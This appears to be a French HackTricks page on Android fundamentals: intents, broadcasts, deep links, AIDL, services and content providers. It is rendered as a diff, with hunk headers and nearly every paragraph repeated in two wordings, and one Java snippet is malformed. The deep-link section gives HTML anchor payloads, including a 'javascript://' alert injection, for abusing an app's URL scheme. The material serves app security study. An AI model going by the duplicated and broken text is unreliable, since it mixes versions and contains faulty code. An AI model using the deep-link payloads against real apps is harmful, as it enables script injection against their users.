**Smali est la version lisible par l'homme du bytecode Dalvik**. Techniquement, Smali et baksmali sont les noms des outils (assembleur et désassembleur, respectivement), mais dans Android, nous utilisons souvent le terme "Smali" pour faire référence aux instructions. Si vous avez fait de la rétro-ingénierie ou de l'architecture informatique sur du code C/C++ compilé. **SMALI est comme le langage d'assemblage : entre le code source de haut niveau et le bytecode**.
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menace proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
Trouvez les vulnérabilités les plus importantes pour les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -136,36 +139,37 @@ Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger p
## Intents
Les Intents sont le principal moyen par lequel les applications Android communiquent entre leurs composants ou avec d'autres applications. Ces objets de message peuvent également transporter des données entre les applications ou les composants, de manière similaire à la façon dont les requêtes GET/POST sont utilisées dans les communications HTTP.
Les Intents sont le principal moyen par lequel les applications Android communiquent entre leurs composants ou avec d'autres applications. Ces objets de message peuvent également transporter des données entre les applications ou les composants, de manière similaire à l'utilisation des requêtes GET/POST dans les communications HTTP.
Ainsi, un Intent est essentiellement un **message qui est transmis entre les composants**. Les Intents **peuvent être dirigés** vers des composants ou des applications spécifiques, **ou peuvent être envoyés sans destinataire spécifique**.\
Pour simplifier, un Intent peut être utilisé :
Donc, un Intent est essentiellement un **message qui est transmis entre les composants**. Les Intents **peuvent être dirigés** vers des composants ou des applications spécifiques, **ou peuvent être envoyés sans destinataire spécifique**.\
Pour être simple, Intent peut être utilisé :
* Pour démarrer une activité, ouvrir une interface utilisateur pour une application
* Comme des diffusions pour informer le système et les applications des changements
* Pour démarrer une Activité, ouvrant généralement une interface utilisateur pour une application
* Comme diffusions pour informer le système et les applications des changements
* Pour démarrer, arrêter et communiquer avec un service en arrière-plan
* Pour accéder aux données via des ContentProviders
* Comme des rappels pour gérer des événements
* Pour accéder aux données via les ContentProviders
* Comme callbacks pour gérer les événements
Une implémentation incorrecte peut entraîner une fuite de données, l'appel de fonctions restreintes et la manipulation du flux de programme.
Une mise en œuvre incorrecte pourrait entraîner une fuite de données, l'appel de fonctions restreintes et la manipulation du flux du programme.
### Filtre d'Intent
### Intent-Filter
Un filtre d'Intent spécifie les **types d'Intent auxquels une activité, un service ou un récepteur de diffusion peut répondre**. Il spécifie ce qu'une activité ou un service peut faire et quels types de diffusions un récepteur peut gérer. Il permet au composant correspondant de recevoir des Intents du type déclaré. Les filtres d'Intent sont généralement **définis via le fichier AndroidManifest.xml**. Pour un **récepteur de diffusion**, il est également possible de les définir dans **le code**. Un filtre d'Intent est défini par sa catégorie, ses actions et ses filtres de données. Il peut également contenir des métadonnées supplémentaires.
Un filtre d'intention spécifie les **types d'Intent auxquels une activité, un service ou un Broadcast Receiver peut répondre**. Il spécifie ce qu'une activité ou un service peut faire et quels types de diffusions un Receiver peut gérer. Il permet au composant correspondant de recevoir des Intents du type déclaré. Les filtres d'intention sont généralement **définis via le fichier AndroidManifest.xml**. Pour un **Broadcast Receiver**, il est également possible de les définir dans le **code**. Un filtre d'intention est défini par sa catégorie, son action et ses filtres de données. Il peut également contenir des métadonnées supplémentaires.
Dans Android, une activité/service/content provider/broadcast receiver est **public** lorsque **`exported`** est réglé sur **`true`**, mais un composant est **également public** si le **manifeste spécifie un filtre d'intention** pour celui-ci. Cependant,\
les développeurs peuvent **explicitement rendre les composants privés** (indépendamment de tout filtre d'intention)\
en réglant l'attribut **`exported`** sur `false` pour chaque composant dans le fichier manifeste.\
Les développeurs peuvent également définir l'attribut **`permission`** pour **exiger une certaine permission pour accéder** au composant, limitant ainsi l'accès au composant.
Dans Android, une activité/service/fournisseur de contenu/récepteur de diffusion est **public** lorsque **`exported`** est défini sur **`true`**, mais un composant est **également public** si le **manifeste spécifie un filtre d'Intent** pour celui-ci. Cependant,\
les développeurs peuvent **rendre explicitement les composants privés** (indépendamment de tout filtre d'Intent)\
en définissant l'attribut \*\* `exported` sur `false`\*\* pour chaque composant dans le fichier manifeste.\
Les développeurs peuvent également définir l'attribut **`permission`** pour **exiger une certaine permission d'accès** au composant, limitant ainsi l'accès à celui-ci.
### Intentions implicites
Les intentions sont créées de manière programmatique à l'aide d'un constructeur Intent :
Les Intents sont créés programmatiquement en utilisant un constructeur Intent :
```java
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
```
L'**Action** de l'intent précédemment déclaré est **ACTION\_SEND** et l'**Extra** est un **Uri** mailto (l'Extra est l'information supplémentaire que l'intent attend).
L'**Action** de l'intention précédemment déclarée est **ACTION\_SEND** et l'**Extra** est un **Uri** mailto (l'Extra est l'information supplémentaire que l'intention attend).
Cet intent doit être déclaré dans le manifeste comme dans l'exemple suivant:
Cette intention doit être déclarée dans le manifeste comme dans l'exemple suivant :
```markup
<activity android:name="ShareActivity">
<intent-filter>
@ -176,15 +180,15 @@ Cet intent doit être déclaré dans le manifeste comme dans l'exemple suivant:
```
Un intent-filter doit correspondre à l'**action**, aux **données** et à la **catégorie** pour recevoir un message.
Le processus de "résolution de l'intention" détermine quelle application doit recevoir chaque message. Ce processus prend en compte l'attribut de **priorité**, qui peut être défini dans la **déclaration de l'intent-filter**, et **celui avec la priorité la plus élevée sera sélectionné**. Cette priorité peut être définie entre -1000 et 1000 et les applications peuvent utiliser la valeur `SYSTEM_HIGH_PRIORITY`. En cas de **conflit**, une fenêtre "choisir" apparaît pour que **l'utilisateur puisse décider**.
Le processus de "Résolution d'intent" détermine quelle application devrait recevoir chaque message. Ce processus prend en compte l'**attribut de priorité**, qui peut être défini dans la **déclaration de l'intent-filter**, et **celui avec la priorité la plus élevée sera sélectionné**. Cette priorité peut être définie entre -1000 et 1000 et les applications peuvent utiliser la valeur `SYSTEM_HIGH_PRIORITY`. Si un **conflit** survient, une fenêtre de "choix" apparaît pour que l'**utilisateur puisse décider**.
### Intents explicites
Un intent explicite spécifie le nom de la classe qu'il vise :
Un intent explicite spécifie le nom de la classe qu'il cible :
```java
Intent downloadIntent = new (this, DownloadService.class):
```
Dans d'autres applications, pour accéder à l'intention précédemment déclarée, vous pouvez utiliser :
Dans d'autres applications, pour accéder à l'intent précédemment déclaré, vous pouvez utiliser :
```java
Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
@ -192,84 +196,84 @@ context.startService(intent);
```
### Intentions en attente
Celles-ci permettent à d'autres applications de **prendre des actions au nom de votre application**, en utilisant l'identité et les permissions de votre application. Pour construire une intention en attente, il faut **spécifier une intention et l'action à effectuer**. Si l'intention **déclarée n'est pas explicite** (ne déclare pas quelle intention peut l'appeler), une **application malveillante pourrait effectuer l'action déclarée** au nom de l'application victime. De plus, **si aucune action n'est spécifiée**, l'application malveillante pourra effectuer **n'importe quelle action au nom de la victime**.
Celles-ci permettent à d'autres applications **d'agir au nom de votre application**, en utilisant l'identité et les permissions de votre app. Lors de la construction d'une Intention en attente, il faut **spécifier une intention et l'action à réaliser**. Si l'**intention déclarée n'est pas Explicite** (ne déclare pas quelle intention peut l'appeler), une **application malveillante pourrait réaliser l'action déclarée** au nom de l'application victime. De plus, **si une action n'est pas spécifiée**, l'application malveillante pourra faire **n'importe quelle action au nom de la victime**.
### Intentions de diffusion
Contrairement aux intentions précédentes, qui ne sont reçues que par une seule application, les intentions de diffusion **peuvent être reçues par plusieurs applications**. Cependant, à partir de la version API 14, il est **possible de spécifier l'application qui doit recevoir** le message en utilisant Intent.setPackage.
Contrairement aux intentions précédentes, qui ne sont reçues que par une seule application, les intentions de diffusion **peuvent être reçues par plusieurs applications**. Cependant, à partir de la version 14 de l'API, il est **possible de spécifier l'application qui devrait recevoir** le message en utilisant Intent.set Package.
Il est également possible de **spécifier une permission lors de l'envoi de la diffusion**. L'application réceptrice devra avoir cette permission.
Il existe **deux types** de diffusions : **normales** (asynchrones) et **ordonnées** (synchrones). L'**ordre** est basé sur la **priorité configurée dans l'élément récepteur**. **Chaque application peut traiter, relayer ou supprimer la diffusion**.
Il existe **deux types** de diffusions : **Normales** (asynchrones) et **Ordonnées** (synchrones). L'**ordre** est basé sur la **priorité configurée dans l'élément récepteur**. **Chaque application peut traiter, relayer ou abandonner la diffusion.**
Il est possible d'**envoyer** une **diffusion** en utilisant la fonction \*\*`sendBroadcast(intent, receiverPermission)` \*\* de la classe `Context`.\
Vous pouvez également utiliser la fonction **`sendBroadcast`** de **`LocalBroadCastManager`** qui garantit que le **message ne quitte jamais l'application**. En utilisant cela, vous n'aurez même pas besoin d'exporter un composant récepteur.
Il est possible **d'envoyer** une **diffusion** en utilisant la fonction **`sendBroadcast(intent, receiverPermission)`** de la classe `Context`.\
Vous pourriez également utiliser la fonction **`sendBroadcast`** du **`LocalBroadCastManager`** qui assure que le **message ne quitte jamais l'application**. En utilisant cela, vous n'aurez même pas besoin d'exporter un composant récepteur.
### Diffusions persistantes
Ce type de diffusions **peut être accédé longtemps après leur envoi**.\
Celles-ci ont été dépréciées à partir du niveau API 21 et il est recommandé de **ne pas les utiliser**.\
**Elles permettent à n'importe quelle application de renifler les données, mais aussi de les modifier**.
Elles ont été dépréciées dans la version 21 de l'API et il est recommandé de **ne pas les utiliser**.\
**Elles permettent à n'importe quelle application de renifler les données, mais aussi de les modifier.**
Si vous trouvez des fonctions contenant le mot "persistant" comme **`sendStickyBroadcast`** ou **`sendStickyBroadcastAsUser`**, **vérifiez l'impact et essayez de les supprimer**.
Si vous trouvez des fonctions contenant le mot "sticky" comme **`sendStickyBroadcast`** ou **`sendStickyBroadcastAsUser`**, **vérifiez l'impact et essayez de les supprimer**.
## Liens profonds / schémas d'URL
## Liens profonds / Schémas d'URL
**Les liens profonds permettent de déclencher une intention via une URL**. Une application peut déclarer un **schéma d'URL** à l'intérieur d'une activité, de sorte que chaque fois que l'appareil Android essaie d'**accéder à une adresse en utilisant ce schéma**, l'activité de l'application sera appelée :
**Les liens profonds permettent de déclencher une Intention via une URL**. Une application peut déclarer un **schéma d'URL** à l'intérieur d'une activité de sorte que chaque fois que le dispositif Android tente **d'accéder à une adresse utilisant ce schéma**, l'activité de l'application sera appelée :
![](<../../.gitbook/assets/image (214).png>)
Dans ce cas, le schéma est `myapp://` (notez également la **`catégorie BROWSABLE`**)
Dans ce cas, le schéma est `myapp://` (notez aussi la **`catégorie BROWSABLE`**)
Si vous trouvez quelque chose comme ceci dans le `intent-filter` :
Si à l'intérieur du `intent-filter` vous trouvez quelque chose comme ceci :
![](<../../.gitbook/assets/image (263).png>)
Alors, il attend quelque chose comme `http://www.example.com/gizmos`
Alors, il s'attend à quelque chose comme `http://www.example.com/gizmos`
Si vous trouvez quelque chose comme ceci :
![](<../../.gitbook/assets/image (262).png>)
Cela signifiera qu'il attend une URL commençant par `example://gizmos`\
Dans ce cas, vous pouvez essayer d'exploiter la fonctionnalité en créant un site web avec les charges utiles suivantes. Cela essaiera de naviguer vers des pages arbitraires et d'exécuter du code JS :
Cela signifiera qu'il s'attend à une URL commençant par `example://gizmos`\
Dans ce cas, vous pourriez essayer d'abuser de la fonctionnalité en créant un web avec les charges utiles suivantes. Il essaiera de naviguer vers des pages arbitraires et d'essayer d'exécuter du JS :
```markup
<a href="example://gizmos/https://google.com">click here</a>
<a href="example://gizmos/javascript://%250dalert(1)">click here</a>
```
Pour trouver le **code qui sera exécuté dans l'application**, allez à l'activité appelée par le deeplink et recherchez la fonction **`onNewIntent`**.
Pour trouver **le code qui sera exécuté dans l'application**, allez à l'activité appelée par le deeplink et recherchez la fonction **`onNewIntent`**.
![](<../../.gitbook/assets/image (436) (1) (1) (1).png>)
Apprenez comment [appeler des deeplinks sans utiliser de pages HTML](./#exploiting-schemes-deep-links).
Apprenez comment [appeler des deep links sans utiliser de pages HTML](./#exploiting-schemes-deep-links).
## AIDL - Android Interface Definition Language
## AIDL - Langage de Définition d'Interface Android
Le **langage de définition d'interface Android** (AIDL) vous permet de définir l'interface de programmation sur laquelle le client et le service s'accordent pour **communiquer entre eux en utilisant une communication interprocessus** (IPC). Sur Android, **un processus ne peut normalement pas accéder à la mémoire d'un autre processus**. Ainsi, pour communiquer, ils doivent décomposer leurs objets en primitives que le **système d'exploitation** peut comprendre, et marquer les objets de part et d'autre de cette frontière pour vous. Le code pour effectuer cette marquage est fastidieux à écrire, c'est pourquoi Android le gère pour vous avec AIDL.
Le **Langage de Définition d'Interface Android** (AIDL) vous permet de définir l'interface de programmation sur laquelle le client et le service s'accordent pour **communiquer entre eux en utilisant la communication interprocessus** (IPC). Sur Android, **un processus ne peut normalement pas accéder à la mémoire d'un autre processus**. Ainsi, pour communiquer, ils doivent décomposer leurs objets en primitives que le **système d'exploitation** peut comprendre, et transférer les objets à travers cette limite pour vous. Le code pour faire ce transfert est fastidieux à écrire, donc Android le gère pour vous avec AIDL.
Les services utilisant AIDL sont appelés **services liés**. Dans la classe du service, vous trouverez la méthode **`onBind`**. C'est **ici que commence l'interaction**, c'est donc la première partie du code à examiner à la recherche de vulnérabilités potentielles.
Les services utilisant AIDL sont appelés **Services Liés**. Dans la classe du Service, vous trouverez la méthode **`onBind`**. C'est **là que l'interaction commence**, donc c'est la première partie du code à examiner à la recherche de vulnérabilités potentielles.
Un service lié est le serveur dans une interface client-serveur. **Il permet aux composants (comme les activités) de se lier au service, d'envoyer des requêtes, de recevoir des réponses et d'effectuer une communication interprocessus** (IPC). Un service lié vit généralement seulement tant qu'il sert un autre composant d'application et ne s'exécute pas indéfiniment en arrière-plan.
Un service lié est le serveur dans une interface client-serveur. **Il permet aux composants (tels que les activités) de se lier au service, d'envoyer des demandes, de recevoir des réponses et d'effectuer une communication interprocessus** (IPC). Un service lié vit généralement seulement tant qu'il sert un autre composant de l'application et ne fonctionne pas indéfiniment en arrière-plan.
### Messenger
Un Messenger est un autre type de mécanisme IPC. Étant donné que le **Messenger est également un "service lié"**, les données transmises depuis l'application cliente sont également traitées par la méthode `onBind`. Ainsi, l'examen du code devrait commencer par cette méthode et vous devriez rechercher l'invocation de fonctionnalités sensibles ou une manipulation non sécurisée des données.
Un Messenger est un autre type de mécanisme IPC. Comme le **Messenger est également un "Service Lié"**, les données transmises par l'application cliente sont également traitées via la méthode `onBind`. Ainsi, la revue de code devrait commencer par cette méthode et vous devriez rechercher l'invocation de fonctionnalités sensibles ou la gestion non sécurisée des données.
### Binder
Il est rare de trouver une classe Binder invoquée directement car il est beaucoup plus facile d'utiliser AIDL (qui abstrait la classe Binder). Cependant, il est bon de savoir que **Binder est un pilote de niveau noyau qui déplace les données de la mémoire d'un processus vers celle d'un autre** ([https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)).
Il est rare de trouver une classe Binder directement invoquée car il est beaucoup plus facile d'utiliser AIDL (qui abstrait la classe Binder). Cependant, il est bon de savoir que **Binder est un pilote de niveau noyau qui déplace les données de la mémoire d'un processus à celle d'un autre** ([https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)).
## Composants
Ces composants comprennent : **Activités, Services, Récepteurs de diffusion et Fournisseurs**.
Cela inclut : **Activités, Services, Récepteurs de Diffusion et Fournisseurs.**
### Activité de lancement et autres activités
### Activité de Lancement et autres activités
Une **activité Android** est un écran de l'interface utilisateur de l'application Android. De cette manière, une **activité Android** est très similaire aux fenêtres d'une application de bureau. Une application Android peut contenir une ou plusieurs activités, c'est-à-dire une ou plusieurs écrans.
Une **activité Android** est un écran de l'interface utilisateur de l'application **Android**. De cette manière, une **activité Android** est très similaire aux fenêtres d'une application de bureau. Une application **Android** peut contenir une ou plusieurs activités, signifiant un ou plusieurs écrans.
L'**activité de lancement** est ce que la plupart des gens considèrent comme le **point d'entrée** d'une application Android. L'activité de lancement est l'activité qui est démarrée lorsque l'utilisateur clique sur l'icône d'une application. Vous pouvez déterminer l'activité de lancement en regardant le manifeste de l'application. L'activité de lancement aura les intentions MAIN et LAUNCHER suivantes répertoriées.
L'**activité de lancement** est ce que la plupart des gens considèrent comme le **point d'entrée** d'une application Android. L'activité de lancement est l'activité qui est démarrée lorsqu'un utilisateur clique sur l'icône d'une application. Vous pouvez déterminer l'activité de lancement en regardant le manifeste de l'application. L'activité de lancement aura les intentions MAIN et LAUNCHER suivantes listées.
Gardez à l'esprit que toutes les applications n'auront pas une activité de lancement, en particulier les applications sans interface utilisateur. Des exemples d'applications sans interface utilisateur (et donc sans activité de lancement) sont les applications préinstallées qui fournissent des services en arrière-plan, tels que la messagerie vocale.
Gardez à l'esprit que toutes les applications n'auront pas une activité de lancement, en particulier les applications sans UI. Des exemples d'applications sans UI (et donc sans activité de lancement) sont les applications préinstallées qui effectuent des services en arrière-plan, comme la messagerie vocale.
```markup
<activity android:name=".LauncherActivity">
<intent-filter>
@ -278,84 +282,87 @@ Gardez à l'esprit que toutes les applications n'auront pas une activité de lan
</intent-filter>
</activity>
```
Les activités peuvent être exportées, ce qui permet à d'autres processus sur l'appareil de lancer l'activité. Par défaut, elles ne sont pas exportées, mais vous pouvez les exporter en définissant :
Les activités peuvent être exportées, permettant à d'autres processus sur l'appareil de lancer l'activité. Par défaut, elles ne sont pas exportées, mais vous pouvez les exporter en définissant :
```markup
<service android:name=".ExampleExportedService" android:exported="true"/>
```
Notez que la capacité à contourner les protections d'activité n'est pas toujours une vulnérabilité, vous devez vérifier à quelles données vous avez accès.
De plus, certaines activités renvoient des données à l'appelant. Dans ces scénarios, vous devez rechercher la méthode `setResult` et vérifier les données qui sont transmises en paramètre de l'Intent. Si ce sont des données sensibles, vous pourriez avoir une vulnérabilité de fuite d'informations et elle peut être exploitée avec des applications capables de communiquer avec l'activité.
Notez que la capacité à **contourner les protections d'activité n'est pas toujours une vulnérabilité**, vous devez vérifier à quelles données vous avez accédé.
De plus, **certaines activités renvoient des données à l'appelant**. Dans ces scénarios, vous devez rechercher la méthode **`setResult`** et vérifier les données qui sont passées dans le paramètre Intent. **Si c'est des données sensibles, vous pourriez avoir une vulnérabilité de fuite d'informations** et c'est exploitable avec des applications capables de communiquer avec l'Activité.
Le code d'une activité commence par la méthode `onCreate`.
**Le code d'une activité commence par la méthode `onCreate`.**
### Sous-classe d'application
### Sous-classe d'Application
Les applications Android peuvent définir une sous-classe de [Application](https://developer.android.com/reference/android/app/Application). Les applications peuvent, mais n'ont pas besoin de définir une sous-classe personnalisée de Application. Si une application Android définit une sous-classe de Application, cette classe est instanciée avant toute autre classe de l'application.
Les applications Android peuvent définir une **sous-classe** de [Application](https://developer.android.com/reference/android/app/Application). Les applications peuvent, mais ne sont pas obligées de définir une sous-classe personnalisée d'Application. Si une application Android définit une sous-classe d'Application, **cette classe est instanciée avant toute autre classe dans l'application**.
Si la méthode `attachBaseContext` est définie dans la sous-classe de Application, elle est appelée en premier, avant la méthode `onCreate`.
Si la méthode **`attachBaseContext`** est définie dans la sous-classe d'Application, elle est appelée en premier, avant la méthode **`onCreate`**.
### Services
[Les services](https://developer.android.com/guide/components/services) s'exécutent en arrière-plan sans interface utilisateur. Ils sont utilisés pour effectuer des processus longs, même si l'utilisateur commence à utiliser une autre application.
Les [Services](https://developer.android.com/guide/components/services) **fonctionnent en arrière-plan sans interface utilisateur.** Ils sont utilisés pour effectuer **des processus de longue durée, même si l'utilisateur commence à utiliser une autre application**.
Il existe une multitude de façons de les démarrer et ils constituent donc un point d'entrée pour les applications. La façon par défaut de démarrer un service en tant que point d'entrée d'une application est par le biais d'Intents.
Il existe une myriade de façons dont ils peuvent être démarrés et sont donc un point d'entrée pour les applications. La manière par défaut qu'un service peut être démarré comme point d'entrée d'une application est à travers les **Intents**.
Lorsque la méthode `startService` est appelée pour démarrer un service, la méthode `onStart` dans le service est exécutée. Elle s'exécutera indéfiniment jusqu'à ce que la méthode `stopService` soit appelée. Si le service n'est nécessaire que tant que le client est connecté, le client doit s'y "lier" en utilisant la méthode `bindService`.
Lorsque la méthode **`startService`** est appelée pour démarrer un Service, la méthode **`onStart`** dans le Service est exécutée. Il fonctionnera indéfiniment jusqu'à ce que la méthode **`stopService`** soit appelée. Si le service est seulement nécessaire tant que le client est connecté, le client doit se "lier" à celui-ci en utilisant la méthode **`bindService`**.
Pour un service lié (voir la section précédente), les données seront transmises à la méthode `onBind`.
Pour un **service lié** (voir section précédente), les données seront passées à la méthode **`onBind`**.
Par exemple, un service peut jouer de la musique en arrière-plan pendant que l'utilisateur se trouve dans une autre application, ou il peut récupérer des données via le réseau sans bloquer l'interaction de l'utilisateur avec une activité.
Par exemple, un service peut jouer de la musique en arrière-plan pendant que l'utilisateur est dans une autre application, ou il peut récupérer des données sur le réseau sans bloquer l'interaction de l'utilisateur avec une activité.
Un service peut être exporté, ce qui permet à d'autres processus sur l'appareil de démarrer le service. Par défaut, les services ne sont pas exportés, mais cela peut être configuré dans le Manifeste :
**Un service peut être exporté ce qui permet à d'autres processus sur l'appareil de démarrer le service**. Par défaut, les services ne sont pas exportés mais cela peut être configuré dans le Manifest :
```markup
<service android:name=".ExampleExportedService" android:exported="true"/>
```
### Récepteurs de diffusion
Les diffusions peuvent être considérées comme un système de messagerie et les récepteurs de diffusion sont les auditeurs. Si une application a enregistré un récepteur pour une diffusion spécifique, le code de ce récepteur est exécuté lorsque le système envoie la diffusion. Notez que dans ce cas, plusieurs applications peuvent recevoir le même message.
Les diffusions peuvent être considérées comme un système de messagerie et **les récepteurs de diffusion sont les auditeurs**. Si une application a enregistré un récepteur pour une diffusion spécifique, le code de ce récepteur est exécuté lorsque le système envoie la diffusion. Notez que dans ce cas **plusieurs applications peuvent recevoir le même message**.
Il existe 2 façons pour une application de s'enregistrer en tant que récepteur : dans le manifeste de l'application ou enregistré dynamiquement dans le code de l'application en utilisant l'appel d'API `registerReceiver`. Dans le manifeste, vous pouvez limiter les diffusions que vous acceptez en utilisant des autorisations dans l'élément récepteur. Lorsqu'il est défini dynamiquement, vous pouvez transmettre l'autorisation à la méthode `registerReceiver`.
Il existe **2 manières** pour une application de **enregistrer un récepteur** : dans le **Manifest de l'application ou enregistré dynamiquement** dans le code de l'application en utilisant l'appel API **`registerReceiver`**. Dans le manifeste, vous pouvez limiter les diffusions que vous acceptez grâce à l'**utilisation de permissions dans l'élément récepteur**. Lorsqu'il est défini **dynamiquement**, vous pouvez **passer la permission à la méthode `registerReceiver`**.
Dans les deux cas, pour enregistrer le récepteur, les filtres d'intention pour le récepteur sont définis. Ces filtres d'intention sont les diffusions qui doivent déclencher le récepteur.
Dans les deux cas, pour enregistrer le récepteur, les **filtres d'intention pour le récepteur sont définis**. Ces filtres d'intention sont les diffusions qui devraient déclencher le récepteur.
Lorsque les diffusions spécifiques pour lesquelles le récepteur est enregistré sont envoyées, la méthode `onReceive` de la classe BroadcastReceiver est exécutée.
Lorsque les diffusions spécifiques pour lesquelles le récepteur est enregistré sont envoyées, **`onReceive`** dans la classe BroadcastReceiver est **exécuté**.
Une application peut par exemple s'enregistrer en tant que récepteur pour le message de batterie faible et modifier son comportement en fonction de cette information.
Une application peut enregistrer un récepteur pour le message de batterie faible par exemple, et changer son comportement en fonction de cette information.
La diffusion peut être asynchrone (chaque récepteur la reçoit) ou synchrone (la diffusion est reçue de manière ordonnée en fonction de la priorité définie pour la recevoir).
La diffusion peut être **asynchrone** (chaque récepteur la reçoit) ou **synchrone** (la diffusion est reçue de manière ordonnée en fonction de la priorité définie pour la recevoir).
{% hint style="danger" %}
Notez que n'importe quelle application peut se définir comme prioritaire pour recevoir une diffusion.
**Notez que n'importe quelle application peut se définir comme priorité maximale pour recevoir une Diffusion.**
{% endhint %}
Pour examiner le code implémenté dans un récepteur de diffusion, vous devez rechercher la méthode `onReceive` de la classe du récepteur. Notez que les diffusions ordonnées peuvent supprimer l'intention reçue ou même la modifier en utilisant l'une des méthodes setter. Par conséquent, les récepteurs doivent valider les données.
Pour **examiner** le **code** implémenté dans un Récepteur de diffusion, vous devez rechercher la méthode **`onReceive`** de la classe du récepteur.\
Notez que **les Diffusions Ordonnées peuvent abandonner l'Intent reçu ou même le modifier** en utilisant l'une des méthodes setter. Par conséquent, les **récepteurs devraient valider les données**.
### Fournisseur de contenu
Les fournisseurs de contenu sont la façon dont les applications partagent des données structurées, telles que des bases de données relationnelles. Il est donc très important d'utiliser des autorisations et de définir le niveau de protection approprié pour les protéger. Les fournisseurs de contenu peuvent utiliser les attributs `readPermission` et `writePermission` pour spécifier les autorisations qu'une application doit avoir. Ces autorisations ont la priorité sur l'attribut d'autorisation. De plus, ils peuvent également autoriser des exceptions temporaires en définissant `grantUriPermission` sur true, puis en configurant les paramètres appropriés dans l'élément `grant-uri-permission` à l'intérieur de l'élément fournisseur du fichier manifeste.
Les Fournisseurs de contenu sont la manière dont **les applications partagent des données structurées**, telles que des bases de données relationnelles. Par conséquent, il est très important d'utiliser des **permissions** et de définir le niveau de protection approprié pour les protéger.\
Les Fournisseurs de contenu peuvent utiliser les attributs **`readPermission`** et **`writePermission`** pour spécifier quelles permissions une application doit avoir. **Ces permissions prévalent sur l'attribut permission**.\
De plus, ils peuvent également **autoriser des exceptions temporaires** en définissant **`grantUriPermission`** sur vrai, puis en configurant les paramètres appropriés dans l'élément **`grant-uri-permission`** à l'intérieur de l'élément fournisseur dans le fichier manifeste.
`grant-uri-permission` a trois attributs : path, pathPrefix et pathPattern :
L'attribut **`grant-uri-permission`** a trois attributs : path, pathPrefix et pathPattern :
- path : permet de spécifier le chemin complet à exclure
- pathPrefix : permet de spécifier le début du chemin
- pathPattern : permet d'utiliser des caractères génériques et des remplacements symboliques pour un contrôle plus granulaire.
* **path** : Permet de spécifier l'intégralité du chemin à exclure
* **pathPrefix** : Permet de spécifier le début du chemin
* **pathPattern** : Permet l'utilisation de jokers et de remplacements symboliques pour un contrôle plus granulaire.
Il est important de valider et de nettoyer les entrées reçues pour éviter les vulnérabilités potentielles telles que les injections SQL.
Il est **important de valider et d'assainir les entrées reçues** pour éviter d'éventuelles vulnérabilités comme l'injection SQL.
Caractéristiques du fournisseur de contenu :
**Caractéristiques du Fournisseur de contenu :**
- Le composant fournisseur de contenu fournit des données d'une application à d'autres sur demande.
- Vous pouvez stocker les données dans le système de fichiers, une base de données SQLite, sur le web ou tout autre emplacement de stockage persistant accessible par votre application.
- Grâce au fournisseur de contenu, d'autres applications peuvent interroger ou même modifier les données (si le fournisseur de contenu le permet).
- Le fournisseur de contenu est utile dans les cas où une application souhaite partager des données avec une autre application.
- Il est très similaire aux bases de données et dispose de quatre méthodes :
- insert()
- update()
- delete()
- query()
* Le composant Fournisseur de contenu fournit des données d'une application à d'autres sur demande.
* Vous pouvez stocker les données dans le système de fichiers, une base de données SQLite, sur le web ou tout autre emplacement de stockage persistant auquel votre application peut accéder.
* Grâce au fournisseur de contenu, d'autres applications peuvent interroger ou même modifier les données (si le fournisseur de contenu le permet).
* Le Fournisseur de contenu est utile dans les cas où une application souhaite partager des données avec une autre application.
* Il est très similaire aux bases de données et dispose de quatre méthodes.
* insert()
* update()
* delete()
* query()
**FileProvider**
Il s'agit d'un type de fournisseur de contenu qui permet de partager des fichiers à partir d'un dossier. Vous pouvez déclarer un fournisseur de fichiers de la manière suivante :
Il s'agit d'un type de Fournisseur de contenu qui va **partager des fichiers** à partir d'un dossier. Vous pouvez déclarer un fournisseur de fichiers comme ceci :
```markup
<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
@ -366,70 +373,70 @@ android:resource="@xml/filepaths" />
</provider>
```
Notez l'attribut **`android:exported`** car s'il est **`true`**, les applications externes pourront accéder aux dossiers partagés.\
Notez que la configuration `android:resource="@xml/filepaths"` indique que le fichier _res/xml/filepaths.xml_ contient la configuration des **dossiers** que ce **FileProvider** va **partager**. Voici un exemple de comment indiquer le partage d'un dossier dans ce fichier :
Notez que la configuration `android:resource="@xml/filepaths"` indique que le fichier _res/xml/filepaths.xml_ contient la configuration de **quels dossiers** ce **FileProvider** va **partager**. Voici un exemple de comment indiquer de partager un dossier dans ce fichier :
```markup
<paths>
<files-path path="images/" name="myimages" />
</paths>
```
Partager quelque chose comme **`path="."`** pourrait être **dangereux** même si le fournisseur n'est pas exporté s'il existe une autre vulnérabilité dans une partie du code qui tente d'accéder à ce fournisseur.\
Vous pouvez **accéder** à une **image** à l'intérieur de ce dossier avec `content://com.example.myapp.fileprovider/myimages/default_image.jpg`
Partager quelque chose comme **`path="."`** pourrait être **dangereux** même si le fournisseur n'est pas exporté s'il y a une autre vulnérabilité dans une partie du code qui a tenté d'accéder à ce fournisseur.\
Vous pourriez **accéder** à une **image** dans ce dossier avec `content://com.example.myapp.fileprovider/myimages/default_image.jpg`
L'élément `<paths>` peut avoir plusieurs enfants, chacun spécifiant un répertoire différent à partager. En plus de l'élément **`<files-path>`**, vous pouvez utiliser l'élément **`<external-path>`** pour partager des répertoires dans le **stockage externe**, et l'élément **`<cache-path>`** pour partager des répertoires dans votre **répertoire de cache interne**.\
[Pour plus d'informations sur les attributs spécifiques des fournisseurs de fichiers, consultez ici.](https://developer.android.com/reference/androidx/core/content/FileProvider)
